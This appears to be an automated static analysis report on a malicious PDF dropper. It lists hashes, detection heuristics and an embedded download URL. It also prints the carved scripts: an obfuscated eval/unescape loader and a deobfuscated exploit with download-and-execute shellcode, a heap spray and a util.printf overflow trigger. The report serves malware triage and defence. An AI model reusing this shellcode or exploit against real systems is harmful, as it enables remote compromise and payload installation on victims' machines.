Malicious PDF — malware analysis report

Static analysis result for SHA-256 f1570aea21596d82…

MALICIOUS

PDF

1.8 KB First seen: 2012-07-12
MD5: 0f1a023f09b242e444fe08fc70968df8 SHA-1: becfab54ae6fc945262262a0c8ca95028628fdb2 SHA-256: f1570aea21596d823cafcf3f82c63fe8dcfd309950d27d249698efa355c773d7
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF contains obfuscated JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, PDF_EVAL, and PDF_UNESCAPE. The ML classifier and ClamAV detection strongly suggest malicious intent. The embedded JavaScript, particularly the deobfuscated version, likely downloads and executes a second-stage payload, as evidenced by the ML_NYX_PDF_MALICIOUS and CLAMAV_DETECTION heuristics. The specific ClamAV detection name 'Pdf.Dropper.Agent-7322643-0' further supports this dropper functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • ClamAV: Pdf.Dropper.Agent-7322643-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7322643-0
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://infotraff.com/w2/l.php?i=5 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x668 297 bytes
SHA-256: 433d6141b5fc932a52d94051061c1f7566cbde37bb51ce636d76e20ed4ab2bf6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2822 bytes
SHA-256: fbe4cf12f30635d6749fce94d709a441cd0454cee2fe23417ff151544915fde1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u692f%u666e%u746f%u6172%u6666%u632e%u6d6f%u772f%u2f32%u2e6c%u6870%u3f70%u3d69%u0035%u9000");heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while (bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while (block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);